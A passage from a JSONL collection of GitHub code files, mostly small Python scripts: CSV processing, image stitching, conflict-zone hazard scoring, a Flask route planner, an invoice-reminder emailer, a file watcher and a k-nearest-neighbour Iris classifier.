chain()\n","repo_name":"kazuchan1991/yae-sandbox","sub_path":"python_tips/celery/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26916698488","text":"import csv\nimport calendar\n\ninfile = open('steps.csv','r')\n\ncsvfile = csv.reader(infile,delimiter=',')\nnext(csvfile)\n\noutfile = open('avg_steps.csv','w', newline = '')\nwriter = csv.writer(outfile, delimiter = ',')\nheader = ['Month', 'Avg Steps in Month']\nwriter.writerow(header)\n\nsteps = 0\ncurrent_month = 1\nday = 0\n\nfor record in csvfile:\n if int(record[0]) == current_month:\n day += 1\n steps += int(record[1])\n else:\n average = round((steps / day), 2)\n month_name = calendar.month_name[int(record[0])]\n data = [month_name , average]\n writer.writerow(data)\n current_month = int(record[0])\n steps = int(record[1])\n day = 1\n\n\n\noutfile.close()\n","repo_name":"lukehankins3/readandwritefiles","sub_path":"avg_steps.py","file_name":"avg_steps.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2912730842","text":"import PySimpleGUI as sg\n\n\ndef verif_arq(nome):\n \"\"\"\n -> Verifica toda vez que for iniciado, se ja existe um arquivo de texto criado\n (que usaremos como base de dados)\n :param nome: Passa o nome do arquivo.\n :return: Se False, o arquivo não existe. E se True, o arquivo ja foi criado.\n \"\"\"\n try:\n a = open(nome, 'rt')\n a.close()\n except FileNotFoundError:\n return False\n else:\n return True\n\n\ndef criar_arq(nome):\n \"\"\"\n -> Cria um arquivo de texto (que aqui usaremos como banco de dados)\n :param nome: Passa o nome do arquivo a ser criado.\n :return: Sem retorno\n \"\"\"\n try:\n a = open(nome, 'wt+')\n a.close()\n except:\n sg.popup('Houve um ERRO ao criar os dados!', font=(\"arial\", 13), title='Arquivar Dados')\n","repo_name":"natogomes/RGBANK-Python-PysimpleGUI","sub_path":"rgbank/criar_banco.py","file_name":"criar_banco.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71814620994","text":"\"\"\"data utils\"\"\"\n\nimport json\nimport logging\nfrom torch.distributed import get_rank, is_initialized\n\n\ndef read_text(path, debug=None):\n \"\"\"read in text data\"\"\"\n data = []\n line_num = 1\n with open(path, 'r', encoding='utf-8') as f:\n for line in f.readlines():\n if line == '\\n':\n continue\n if debug and debug < line_num:\n break\n line_num += 1\n data.append(line.strip())\n return data\n\n\ndef read_json_line(file):\n tmp_ls = open(file, 'r', encoding='utf-8').readlines()\n tmp_ls = [json.loads(_.strip()) for _ in tmp_ls]\n return tmp_ls\n\n\ndef logging_rank0(*args):\n if is_initialized():\n if get_rank() == 0:\n logging.info(*args)\n else:\n print(*args)\n","repo_name":"congchan/llm","sub_path":"llm/data/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39454054049","text":"#Only add your code inside the function (including newly improted packages)\n# You can design a new function and call the new function in the given functions. \n# Not following the project guidelines will result in a 10% reduction in grades\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef show_image(img, delay=1000):\n \"\"\"Shows an image.\n \"\"\"\n cv2.namedWindow('image', cv2.WINDOW_AUTOSIZE)\n cv2.imshow('image', img)\n cv2.waitKey(delay)\n cv2.destroyAllWindows()\n\n\ndef match_descriptors(descriptors_1, descriptors_2):\n match= {}\n for i in range(len(descriptors_1)):\n ssd = {}\n for j in range(len(descriptors_2)):\n dist = sum(np.square(descriptors_1[i] - descriptors_2[j]))\n ssd[j] = dist\n ssd = dict(sorted(ssd.items(), key=lambda item: item[1]))\n first_value = list(ssd.values())[0]\n second_value = list(ssd.values())[1]\n if first_value/second_value < 0.8:\n first_key = list(ssd.keys())[0]\n match[i] = first_key\n return match \n\n\ndef stitch(image1_kp, image2_kp, img1, img2):\n M, mask = cv2.findHomography(image1_kp, image2_kp, cv2.RANSAC, 5.0)\n result = cv2.warpPerspective(img1, M, ((img1.shape[1] + img2.shape[1]), img1.shape[0] + img2.shape[0]))\n for i in range(0, img2.shape[0]):\n for j in range(0, img2.shape[1]):\n if np.sum(result[i][j]) > 0:\n if np.sum(result[i][j]) > np.sum(img2[i][j]):\n result[i][j] = result[i][j]\n else:\n result[i][j] = img2[i][j]\n else:\n result[i][j] = img2[i][j]\n return result\n\n\ndef stitch_background(img1, img2, savepath=''):\n \"The output image should be saved in the savepath.\"\n \"Do NOT modify the code provided.\"\n sift = cv2.SIFT_create(500)\n keypoints_1, descriptors_1 = sift.detectAndCompute(img1,None)\n keypoints_2, descriptors_2 = sift.detectAndCompute(img2, None)\n match = match_descriptors(descriptors_1, descriptors_2)\n image1_kp = np.float32([keypoints_1[m].pt for m in match])\n image2_kp = np.float32([keypoints_2[match[m]].pt for m in match])\n image = stitch(image1_kp, image2_kp,img1, img2)\n cv2.imwrite(savepath, image)\n \n \nif __name__ == \"__main__\":\n img1 = cv2.imread('./images/t1_1.png')\n img2 = cv2.imread('./images/t1_2.png')\n savepath = 'task1.png'\n stitch_background(img1, img2, savepath=savepath)\n\n","repo_name":"pranita1804/Computer-vision-image-processing","sub_path":"project2/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2700013708","text":"import json\nfrom os import path\n\nimport numpy as np\nimport pandas as pd\nimport spacy\nfrom scipy.stats import gaussian_kde\nfrom sklearn.manifold import TSNE\nfrom sklearn.preprocessing import MinMaxScaler\nfrom word2number import w2n\n\n# Load SpaCy's nlp model\nnlp = spacy.load(\"en_core_web_md\")\n\n# Define coordinates of the the battlefront towns\nbakhmut_coords = (48.5956, 37.9999)\nsoledar_coords = (48.6833, 38.0667)\navdiivka_coords = (48.1394, 37.7497)\nvuhledar_coords = (48.7798, 37.2490)\nrobotyne_coords = (47.44992394238662, 35.83787190517212)\nkupiansk_coords = (49.7160738622855, 37.596104878691285)\n\n\ndef load_transform_data(file_name):\n dir_path = path.dirname(path.realpath(__file__))\n abs_path = path.join(dir_path, \"data\", file_name)\n\n with open(abs_path) as f:\n data = json.load(f)\n\n df = pd.DataFrame(data)\n\n df[\"fatalities\"] = pd.to_numeric(df[\"fatalities\"], errors=\"coerce\")\n df[\"latitude\"] = pd.to_numeric(df[\"latitude\"], errors=\"coerce\")\n df[\"longitude\"] = pd.to_numeric(df[\"longitude\"], errors=\"coerce\")\n df[\"event_date\"] = pd.to_datetime(df[\"event_date\"], errors=\"coerce\")\n df.loc[df[\"admin2\"] == \"Kyiv\", \"admin3\"] = \"Kyiv\"\n df.loc[df[\"location\"] == \"Kherson\", \"admin2\"] = \"Khersonskyi\"\n df = df[~df[\"admin3\"].str.strip().eq(\"\")]\n\n return df\n\n\ndef extract_wounded(text):\n doc = nlp(text)\n wounded_count = 0\n\n for token in doc:\n if token.text.lower() == \"wounded\":\n for child in token.children:\n if child.pos_ == \"NUM\":\n try:\n wounded_count += int(child.text)\n except ValueError:\n wounded_count += w2n.word_to_num(child.text)\n if wounded_count == 0:\n for ancestor in token.ancestors:\n if ancestor.pos_ == \"NUM\":\n try:\n wounded_count += int(ancestor.text)\n except ValueError:\n wounded_count += w2n.word_to_num(ancestor.text)\n break\n\n return wounded_count\n\n\ndef haversine(lat1, lon1, lat2, lon2):\n # Convert latitude and longitude to radians\n lat1, lon1, lat2, lon2 = map(np.radians, [lat1, lon1, lat2, lon2])\n\n # Haversine formula\n dlat = lat2 - lat1\n dlon = lon2 - lon1\n a = np.sin(dlat / 2) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon / 2) ** 2\n c = 2 * np.arcsin(np.sqrt(a))\n\n # Earth radius in kilometers\n earth_radius = 6371\n\n # Calculate the distance\n distance = earth_radius * c\n return distance\n\n\ndef engineer_features(df):\n df[\"month\"] = df[\"event_date\"].dt.month\n df[\"year\"] = df[\"event_date\"].dt.year\n\n # Extracting wounded data from the notes colulmn\n df[\"wounded\"] = df[\"notes\"].apply(extract_wounded)\n # Combining fatalities + wounded into casualties\n df[\"casualties\"] = df[\"fatalities\"] + df[\"wounded\"]\n\n grouped_columns = [\n \"admin1\",\n \"admin2\",\n \"admin3\",\n \"location\",\n \"latitude\",\n \"longitude\",\n \"event_date\",\n \"year\",\n \"month\",\n \"event_type\",\n \"civilian_targeting\",\n ]\n\n # Aggregate data by location, date, and event_type\n df = (\n df.groupby(grouped_columns)\n .agg(\n num_events=pd.NamedAgg(column=\"event_type\", aggfunc=\"size\"),\n total_casualties=pd.NamedAgg(column=\"casualties\", aggfunc=\"sum\"),\n )\n .reset_index()\n )\n\n # apply the haversine function to the dataset to calculate\n # the distances to each town and find the minimum distance:\n df[\"distance_to_bakhmut\"] = haversine(\n df[\"latitude\"], df[\"longitude\"], bakhmut_coords[0], bakhmut_coords[1]\n )\n df[\"distance_to_soledar\"] = haversine(\n df[\"latitude\"], df[\"longitude\"], soledar_coords[0], soledar_coords[1]\n )\n df[\"distance_to_avdiivka\"] = haversine(\n df[\"latitude\"], df[\"longitude\"], avdiivka_coords[0], avdiivka_coords[1]\n )\n df[\"distance_to_vuhledar\"] = haversine(\n df[\"latitude\"], df[\"longitude\"], vuhledar_coords[0], vuhledar_coords[1]\n )\n df[\"distance_to_robotyne\"] = haversine(\n df[\"latitude\"], df[\"longitude\"], robotyne_coords[0], robotyne_coords[1]\n )\n df[\"distance_to_kupiansk\"] = haversine(\n df[\"latitude\"], df[\"longitude\"], kupiansk_coords[0], kupiansk_coords[1]\n )\n\n df[\"min_distance_to_battlefront\"] = df[\n [\n \"distance_to_bakhmut\",\n \"distance_to_soledar\",\n \"distance_to_avdiivka\",\n \"distance_to_vuhledar\",\n \"distance_to_robotyne\",\n \"distance_to_kupiansk\",\n ]\n ].min(axis=1)\n\n # Drop the temporary distance columns\n df = df.drop(\n columns=[\n \"distance_to_bakhmut\",\n \"distance_to_soledar\",\n \"distance_to_avdiivka\",\n \"distance_to_vuhledar\",\n \"distance_to_robotyne\",\n \"distance_to_kupiansk\",\n ]\n )\n\n # One-hot Encoding categorical features\n # Encode civilian_targeting as a binary column\n df[\"civilian_targeting_encoded\"] = df[\"civilian_targeting\"].apply(\n lambda x: 1 if x == \"Civilian targeting\" else 0\n )\n\n # One-hot encode event_type and incorporate civilian_targeting_encoded\n # for 'Explosions/Remote violence'\n df[\"event_battles\"] = (df[\"event_type\"] == \"Battles\").astype(int)\n df[\"event_explosions\"] = (\n (df[\"event_type\"] == \"Explosions/Remote violence\")\n & (df[\"civilian_targeting_encoded\"] == 0)\n ).astype(int)\n df[\"event_explosions_civilians\"] = (\n (df[\"event_type\"] == \"Explosions/Remote violence\")\n & (df[\"civilian_targeting_encoded\"] == 1)\n ).astype(int)\n df[\"event_violence_civilians\"] = (\n df[\"event_type\"] == \"Violence against civilians\"\n ).astype(int)\n\n return df\n\n\ndef process_tsne_and_kde(df):\n # t-SNE dimensionality reduction\n # Selecting the columns we want to input into t-SNE\n features = [\n \"num_events\",\n \"total_casualties\",\n \"event_battles\",\n \"event_explosions\",\n \"event_explosions_civilians\",\n \"event_violence_civilians\",\n ]\n\n # Normalize the features\n scaler = MinMaxScaler()\n scaled_features = scaler.fit_transform(df[features])\n\n # 2-D t-SNE embeddings\n tsne = TSNE(n_components=2, random_state=42)\n tsne_results = tsne.fit_transform(scaled_features)\n df[\"tsne_0\"] = tsne_results[:, 0]\n df[\"tsne_1\"] = tsne_results[:, 1]\n\n # Processing t-SNE data with KDE:\n # KDE on t-SNE results\n kde = gaussian_kde(np.vstack([df[\"tsne_0\"], df[\"tsne_1\"]]))\n density = kde(np.vstack([df[\"tsne_0\"], df[\"tsne_1\"]]))\n\n # Identify the densest point\n densest_idx = np.argmax(density)\n densest_point = (\n df.iloc[densest_idx][\"tsne_0\"],\n df.iloc[densest_idx][\"tsne_1\"],\n )\n\n # Compute distance to densest point\n df[\"distance_to_densest\"] = np.sqrt(\n (df[\"tsne_0\"] - densest_point[0]) ** 2 + (df[\"tsne_1\"] - densest_point[1]) ** 2\n )\n\n # Convert into a distance score\n decay_factor = 0.05 # This is just an example value; adjust as needed\n df[\"tsne_distance_points\"] = 50 * np.exp(-decay_factor * df[\"distance_to_densest\"])\n\n # Compute physical distance score based on min_distance_to_battlefront:\n df[\"distance_points\"] = 100 * np.exp(\n -decay_factor * df[\"min_distance_to_battlefront\"]\n )\n\n return df\n\n\ndef compute_hazard_scores(df):\n # Combine tsne_distance_points with distance_points using the weights you provided to obtain the final hazard_score.\n weight_distance = 0.7 # This is the weight for the distance to the battlefront\n weight_tsne = 0.3 # This is the weight for the t-SNE derived score\n\n df[\"hazard_score\"] = (df[\"distance_points\"] * weight_distance) + (\n df[\"tsne_distance_points\"] * weight_tsne\n )\n\n # Normalize the hazard_score\n min_hazard = df[\"hazard_score\"].min()\n max_hazard = df[\"hazard_score\"].max()\n\n # Apply Min-Max scaling to adjust scores between 0 and 100\n df[\"hazard_score\"] = (\n (df[\"hazard_score\"] - min_hazard) / (max_hazard - min_hazard)\n ) * 100\n df[\"hazard_score\"] = df[\"hazard_score\"].round(0)\n\n # Post-processing based on domain knowledge\n df.loc[df[\"min_distance_to_battlefront\"] <= 30, \"hazard_score\"] = 100\n df.loc[df[\"hazard_score\"] < 30, \"hazard_score\"] = 30\n df.loc[df[\"event_type\"] == \"Battles\", \"hazard_score\"] = 100\n\n return df\n\n\ndef compute_distance(df):\n hazard_hi = df[df[\"hazard_score\"] >= 80][\n [\"event_date\", \"admin3\", \"location\", \"latitude\", \"longitude\", \"hazard_score\"]\n ]\n hazard_lo = df[df[\"hazard_score\"] < 75][\n [\"event_date\", \"admin3\", \"location\", \"latitude\", \"longitude\", \"hazard_score\"]\n ]\n cross_lo_hi = hazard_lo.merge(hazard_hi, how=\"cross\", suffixes=(\"_low\", \"_high\"))\n cross_lo_hi = cross_lo_hi.drop_duplicates(\n subset=[\"location_low\", \"location_high\"], keep=\"last\"\n ).reset_index(drop=True)\n\n cross_lo_hi.loc[:, \"distance\"] = haversine(\n cross_lo_hi[\"latitude_low\"],\n cross_lo_hi[\"longitude_low\"],\n cross_lo_hi[\"latitude_high\"],\n cross_lo_hi[\"longitude_high\"],\n )\n cross_lo_hi = cross_lo_hi[\n (cross_lo_hi[\"distance\"] <= 80) & (cross_lo_hi[\"distance\"] > 1)\n ]\n\n min_distance_idx = cross_lo_hi.groupby(\"location_low\")[\"distance\"].idxmin()\n cross_lo_hi = cross_lo_hi.loc[min_distance_idx].reset_index(drop=True)\n\n return cross_lo_hi\n\n\ndef propagate_hazard_scores(df):\n cross_lo_hi = compute_distance(df)\n df = df.merge(\n cross_lo_hi[[\"location_low\", \"distance\", \"hazard_score_high\"]],\n left_on=\"location\",\n right_on=\"location_low\",\n how=\"left\",\n )\n df.drop(columns=\"location_low\", inplace=True)\n\n df[\"distance\"].fillna(0, inplace=True)\n df[\"hazard_score_high\"].fillna(0, inplace=True)\n\n df[\"hazard_decayed\"] = 0.6 * df[\"hazard_score_high\"] * (1 - 0.02) ** df[\"distance\"]\n df[\"hazard_score\"] += df[\"hazard_decayed\"]\n\n df[\"hazard_score\"] = df[\"hazard_score\"].clip(0, 100)\n df[\"hazard_score\"] = df[\"hazard_score\"].round(0)\n\n df = df.iloc[:, :-3]\n return df\n\n\ndef main():\n file_name = input(\"Enter the file name, json only: \") + \".json\"\n print(\n \"Data processing in progress, this will take around 2 minutes. Kick-back and relax!\"\n )\n\n df = load_transform_data(file_name)\n df = engineer_features(df)\n df = process_tsne_and_kde(df)\n df = compute_hazard_scores(df)\n df = propagate_hazard_scores(df)\n\n df.to_csv(\"Hazards_latest.csv\", index=False)\n\n print(\"Data stored as Hazards_latest.csv\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Caps1d/WarHazard","sub_path":"hazard_script.py","file_name":"hazard_script.py","file_ext":"py","file_size_in_byte":10714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3623940064","text":"from flask import Flask, request, render_template\r\nfrom geopy.geocoders import Nominatim\r\nfrom .ASTARTWalk import A_Star_Walk\r\nfrom .walk_bus import walk_bus_algor\r\nfrom .lrt_bus_walk import get_lrt_route, distance\r\nimport networkx as nx\r\nimport osmnx as ox\r\nimport folium\r\napp = Flask(__name__)\r\n\r\n#sets up markers for bus stop, doesnt draw them here\r\n#busStops = [(1.404107, 103.9025242), (1.406245, 103.899574), (1.4053356, 103.8974167), (1.4024184, 103.8967454), (1.404107, 103.9025242)]\r\n\r\n#start of the map, not super accurate, just for declaring\r\npunggol = (1.403948, 103.909048)\r\n#G = ox.graph_from_point(punggol, distance=1200, truncate_by_edge=True, network_type=\"walk\")\r\n\r\n# =========================================================\r\n# PLACE IN INIT\r\n# =========================================================\r\n\r\ntake_bus_distance = 150 # in meters. this value is for lrt+bus+walk\r\n# if destination falls within this distance, user wont take a bus\r\n\r\npunggol = (1.4053828, 103.9022239) # punggol MRT station, change according to whatever coordinates you are using\r\nG = ox.graph_from_point(punggol, distance=1200, truncate_by_edge=True, network_type=\"walk\",infrastructure='way[\"highway\"]')\r\n\r\nG = ox.remove_isolated_nodes(G)\r\n\r\nlrt_east = ox.graph_from_file(filename=\"data\\lrt_pg_east.osm\",\r\n retain_all=\"true\") # retain all is essential\r\nlrt_west = ox.graph_from_file(filename=\"data\\lrt_pg_west.osm\",\r\n retain_all=\"true\")\r\n\r\nlrt_exits = ox.graph_from_file(filename=\"data\\lrt_bridges.osm\",\r\n retain_all=\"true\")\r\n\r\nlrt_stations = nx.compose(lrt_east, lrt_west)\r\n\r\n# =========================================================\r\n# END OF \"PLACE IN INIT\" requirements\r\n# =========================================================\r\n\r\n@app.route(\"/\")\r\n@app.route(\"/home\", methods=['GET', 'POST'])\r\ndef home():\r\n return render_template('home.html', textInput=my_form_post())\r\n\r\n@app.route(\"/map\")\r\ndef viewMap():\r\n return render_template('map.html')\r\n\r\n\r\ndef my_form_post():\r\n #stuff that runs the input check, if u just testing the line drawing, ignore this\r\n if request.method == 'POST':\r\n text = request.form.get('text')\r\n text1 = request.form.get('text1')\r\n pathTypeController = request.form.get('pathTypes')\r\n locator = Nominatim(user_agent=\"myGeocoder\")\r\n location = locator.geocode(text, timeout=None)\r\n destination = locator.geocode(text1, timeout=None)\r\n locationXY = (location.longitude, location.latitude)\r\n destinationXY = (destination.longitude, destination.latitude)\r\n processed_text = ((location.latitude, location.longitude, destination.latitude, destination.longitude))\r\n m = folium.Map(location=[1.403948, 103.909048], zoom_start=15)\r\n\r\n #Map plotting\r\n #draws the lines, if u need more lines, duplicate this function, but change values into ur new variable name\r\n if (pathTypeController == 'walk'):\r\n walking = A_Star_Walk(locationXY, destinationXY)\r\n for i in walking:\r\n folium.PolyLine(walking, color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n\r\n elif (pathTypeController == 'walk_bus'):\r\n finalPath = walk_bus_algor(locationXY, destinationXY)\r\n for i in range(0, len(finalPath)):\r\n if i == 0:\r\n folium.PolyLine(finalPath[i], color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n elif i == 1:\r\n folium.PolyLine(finalPath[i], color=\"red\", weight=2.5, opacity=1).add_to(m)\r\n else:\r\n folium.PolyLine(finalPath[i], color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n\r\n\r\n elif (pathTypeController == 'walk_lrt'):\r\n finalPath = []\r\n\r\n lrtRoute = get_lrt_route(G, locationXY, destinationXY, lrt_stations, lrt_exits)\r\n lrtXY = lrtRoute[-1]\r\n lastLRT = lrtXY[::-1] # flip lastLRT for proper XY formatting\r\n\r\n finalPath.append(lrtRoute)\r\n\r\n # call the walking function to get a route from last LRT station to destination\r\n finalPath.append(A_Star_Walk(lastLRT, destinationXY))\r\n\r\n for i in range(0, len(finalPath)):\r\n if i == 0:\r\n folium.PolyLine(finalPath[i], color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n elif i == 1:\r\n folium.PolyLine(finalPath[i], color=\"red\", weight=2.5, opacity=1).add_to(m)\r\n else:\r\n folium.PolyLine(finalPath[i], color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n\r\n elif (pathTypeController == 'walk_bus_lrt'):\r\n lrtPath = get_lrt_route(G, locationXY, destinationXY, lrt_stations, lrt_exits)\r\n lrtXY = lrtPath[-1]\r\n\r\n # map the lrt route first\r\n folium.PolyLine(lrtPath, color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n\r\n # run walk_bus on the final LRT station\r\n flippedlrtXY = lrtXY[::-1] # get XY of the last station\r\n\r\n # determine if there is a need to take a bus.\r\n print(\"distance between the two is: \", distance(flippedlrtXY, destinationXY))\r\n\r\n finalPath = []\r\n\r\n if distance(flippedlrtXY, destinationXY) > take_bus_distance:\r\n # destination is still 'far'. Route for walk+bus.\r\n finalPath = walk_bus_algor(flippedlrtXY, destinationXY)\r\n else:\r\n # destination is close enough to walk to. Route for walk.\r\n finalPath.append(A_Star_Walk(flippedlrtXY, destinationXY))\r\n\r\n #processed_text = flippedlrtXY\r\n for i in range(0, len(finalPath)):\r\n if i == 0:\r\n folium.PolyLine(finalPath[i], color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n elif i == 1:\r\n folium.PolyLine(finalPath[i], color=\"red\", weight=2.5, opacity=1).add_to(m)\r\n else:\r\n folium.PolyLine(finalPath[i], color=\"blue\", weight=2.5, opacity=1).add_to(m)\r\n\r\n # #puts bus stop markers\r\n # for y in busStops:\r\n # folium.Marker(y, icon=folium.Icon(color='red', icon='bus', prefix='fa')).add_to(m)\r\n\r\n\r\n #Commented out version takes input, non-commented version takes the manual start and end from values\r\n folium.Marker([location.latitude, location.longitude], popup='Start').add_to(m)\r\n folium.Marker([destination.latitude, destination.longitude], popup='Destination').add_to(m)\r\n # folium.Marker([1.4044948, 103.9028788], popup='Start').add_to(m)\r\n # folium.Marker([1.4022109, 103.9129992], popup='Destination').add_to(m)\r\n\r\n m.save('templates/map.html')\r\n return processed_text, locationXY\r\n else:\r\n m = folium.Map(location=[1.403948, 103.909048], zoom_start=15)\r\n m.save('templates/map.html')\r\n return 0\r\n\r\n","repo_name":"BingleBangle-BH/ICT1008_TEAM_1-7","sub_path":"1008Proj.py","file_name":"1008Proj.py","file_ext":"py","file_size_in_byte":6997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36690950671","text":"import os\nimport smtplib\nfrom email.message import EmailMessage\nfrom email.utils import formataddr\nfrom pathlib import Path\nfrom dotenv import load_dotenv\n\nPORT = 587\nEMAIL_SERVER = \"smtp.gmail.com\"\n\n# Loading environment variables\ncurrent_dir = Path(__file__).resolve().parent if \"__file__\" in locals() else Path.cwd()\nenvars = current_dir / \".env\"\nload_dotenv(envars)\n\nsender_email = \"amithshinde23@gmail.com\"\n# password_email = \"-----\"\nenv_file_path = 'C:/Users/amith/Desktop/Projects/auomate_emails/.env'\n\n\ndef get_env_variable(env_file, variable_name):\n with open(env_file, 'r') as file:\n for line in file:\n name, value = line.strip().split('=', 1)\n if name == variable_name:\n return value\n\n\npassword_email = get_env_variable(env_file_path, \"PASSWORD\")\n\n\ndef send_email(subject, receiver_email, name, due_date, invoice_no, amount):\n msg = EmailMessage()\n msg['Subject'] = subject\n msg[\"From\"] = formataddr((\"Sai Fibernet\", f\"{sender_email}\"))\n msg[\"To\"] = receiver_email\n msg[\"BCC\"] = sender_email\n\n msg.set_content(\n f\"\"\"\\\n Hi {name},\n I just wanted to drop you a quick note to remind you that {amount} \n To ensure uninterrupted access to your internet services and to avoid any service interruptions, we kindly request that you settle the outstanding amount by the due date.\"\"\"\n )\n\n msg.add_alternative(\n f\"\"\"\\\n \n \n

Hi {name},

\n

I just wanted to drop you a quick note to remind you that {amount}/-.

\n

To ensure uninterrupted access to your internet services and to avoid any service interruptions, we kindly request that you settle the outstanding amount by the due date.

\n

Best regards,

\n

Sai Fibernet

\n \n \n \"\"\",\n subtype=\"html\",\n )\n\n with smtplib.SMTP(EMAIL_SERVER, PORT) as server:\n server.starttls()\n server.login(sender_email, password_email)\n server.sendmail(sender_email, receiver_email, msg.as_string())\n\n\nif __name__ == \"__main__\":\n send_email(\n subject=\"Invoice Reminder\",\n name=\"Amith Shinde\",\n receiver_email=\"eng21cs0034@dsu.edu.in\",\n due_date=\"11,Aug 2023\",\n invoice_no=\"INV-2023\",\n amount=\"50000\",\n )\n","repo_name":"Amithshinde/payment-reminder-using-python","sub_path":"send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7611482958","text":"import time\nfrom watchdog.events import FileSystemEventHandler\nfrom watchdog.observers.polling import PollingObserver\n\nclass OnMyWatch:\n\t# Set the directory on watch\n\twatchDirectory = \"files\"\n\n\tdef __init__(self):\n\t\tself.observer = PollingObserver()\n\n\tdef run(self):\n\t\tevent_handler = Handler()\n\t\tself.observer.schedule(event_handler, self.watchDirectory, recursive = True)\n\t\tself.observer.start()\n\t\ttry:\n\t\t\twhile True:\n\t\t\t\ttime.sleep(5)\n\t\texcept:\n\t\t\tself.observer.stop()\n\t\t\tprint(\"Observer Stopped\")\n\n\t\tself.observer.join()\n\n\nclass Handler(FileSystemEventHandler):\n @staticmethod\n def on_any_event(event):\n \"\"\"You can write your code here\"\"\"\n if event.is_directory:\n print(f\"Directroy {event.event_type}: \", event.src_path)\n else:\n print(f\"File {event.event_type}: \", event.src_path)\n\t\t \n\n\t\t\n\nif __name__ == '__main__':\n\twatch = OnMyWatch()\n\twatch.run()\n\n\n\n","repo_name":"muhammadmamajonov/filesystem-trigger","sub_path":"watch_dog.py","file_name":"watch_dog.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43417381752","text":"'''CPSC-51100,[2nd Semester][2018-2019]\nName: [Boubacar Ide]\nPROGRAMING ASSIGNMENT #3'''\n# Import numpy\nimport numpy as np\n\n# Loads and parses the training dataset files into separate NumPy ndarrays\nfname_train = 'iris-training-data.csv'\ntrain_attributes = np.loadtxt(fname_train, dtype='float', delimiter=',', usecols=(0,1,2,3))\ntrain_classes = np.loadtxt(fname_train, dtype='str', delimiter=',', usecols=(4))\n\n# Loads and parses the testing dataset files into separate NumPy ndarrays\nfname_test = 'iris-testing-data.csv'\ntesting_attributes = np.loadtxt(fname_test, dtype='float', delimiter=',', usecols=(0,1,2,3))\ntesting_classes = np.loadtxt(fname_test, dtype='str', delimiter=',', usecols=(4))\n\n# Print our output header as instructed\nstring1 = 'CPSC-51100,[2nd Semester][2018-2019]'\nstring2 = 'Name: [Boubacar Ide]'\nstring3 = 'PROGRAMING ASSIGNMENT #3'\nprint(string1 + '\\n' + string2 + '\\n' + string3+'\\n')\n\n# Calculate the distances between the testing and each training points\ndef euclideanDistance(instance1, instance2):\n distance = np.sqrt(np.sum((instance1 - instance2)**2,axis=1))\n return distance\n\n# Get the nearest neighbor\ndef getNeighbors(trainingSet, testInstance, k):\n dist = euclideanDistance(testInstance, trainingSet)\n dist = np.argsort(dist)[:k]\n# neighbors = trainingClass[dist[:k]]\n return dist\n\n# Choose the 31 nearest neighbor\nneighbors = getNeighbors(train_attributes,testing_attributes[0,:],31)\n\n# Classification of the plantes\ndef getResponse(neighbors,trainingClasses):\n classes = trainingClasses[neighbors]\n unique_elements, counts_elements = np.unique(classes, return_counts=True)\n index_max = np.argmax(counts_elements) #get the maximum count\n response = unique_elements[index_max]\n return response\n\ngetResponse(neighbors,train_classes)\n\n# the output function of our prediction\ndef getAccuracy(trainingSet,trainingClass,testingSet,testingClass,k):\n response_vec = [] # Creating an empty list\n print(\"#,True,Predicted\")\n count = 1\n for sample in testingSet:\n neighbors = getNeighbors(trainingSet,sample,k)\n response = getResponse(neighbors,trainingClass)\n response_vec.append(response)\n print(\"{},{},{}\".format(count,testingClass[count-1],response))\n count += 1\n correct_labels = testingClass == response_vec # Compare the testing and the response\n\n # Calculate the accuracy of our prediction\n accuracy = sum(correct_labels)/len(testingClass)*100\n print(\"Accuracy: {}%\".format(accuracy))\n\ngetAccuracy(train_attributes,train_classes,testing_attributes,testing_classes,1)\n\n","repo_name":"boubacaride/Statical_Programming","sub_path":"NearestNeighbor.py","file_name":"NearestNeighbor.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32225085181","text":"class Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n charSet = set()\n left, ans, count = 0, 0, 0\n for right in range(len(s)):\n if s[right] not in charSet:\n charSet.add(s[right])\n count += 1\n ans = max(ans, count)\n else:\n while left < right:\n charSet.remove(s[left])\n count -= 1\n left += 1\n if s[right] not in charSet:\n charSet.add(s[right])\n count += 1\n break\n\n return ans\n\nsol = Solution()\ns = \"abcabcbb\"\nres = sol.lengthOfLongestSubstring(s)\nprint(res)","repo_name":"chrisbyd/leetcode_chris","sub_path":"top150/003.py","file_name":"003.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11216311670","text":"#\n# [56] Merge Intervals\n#\n# https://leetcode.com/problems/merge-intervals/description/\n#\n# algorithms\n# Medium (31.77%)\n# Total Accepted: 184.7K\n# Total Submissions: 